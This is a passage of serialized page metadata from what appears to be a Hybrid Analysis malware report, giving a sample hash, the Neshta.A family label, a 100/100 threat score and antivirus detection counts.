3bdecb8b3aaa…. Malware family: Neshta.A. Threat score 100/100. 25/28 AV engines flagged this file. 14 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c"}],["$","meta","4",{"property":"og:title","content":"Malicious Neshta.A Sample 3bdecb8b3aaa… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 3bdecb8b3aaa…. Malware family: Neshta.A. Threat score 100/100. 25/28 AV engines flagged this file. 14 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Neshta.A Sample 3bdecb8b3aaa… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 3bdecb8b3aaa…. Malware family: Neshta.A. Threat score 100/100. 25/28 AV engines flagged this file. 14 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L3f","11",{}]]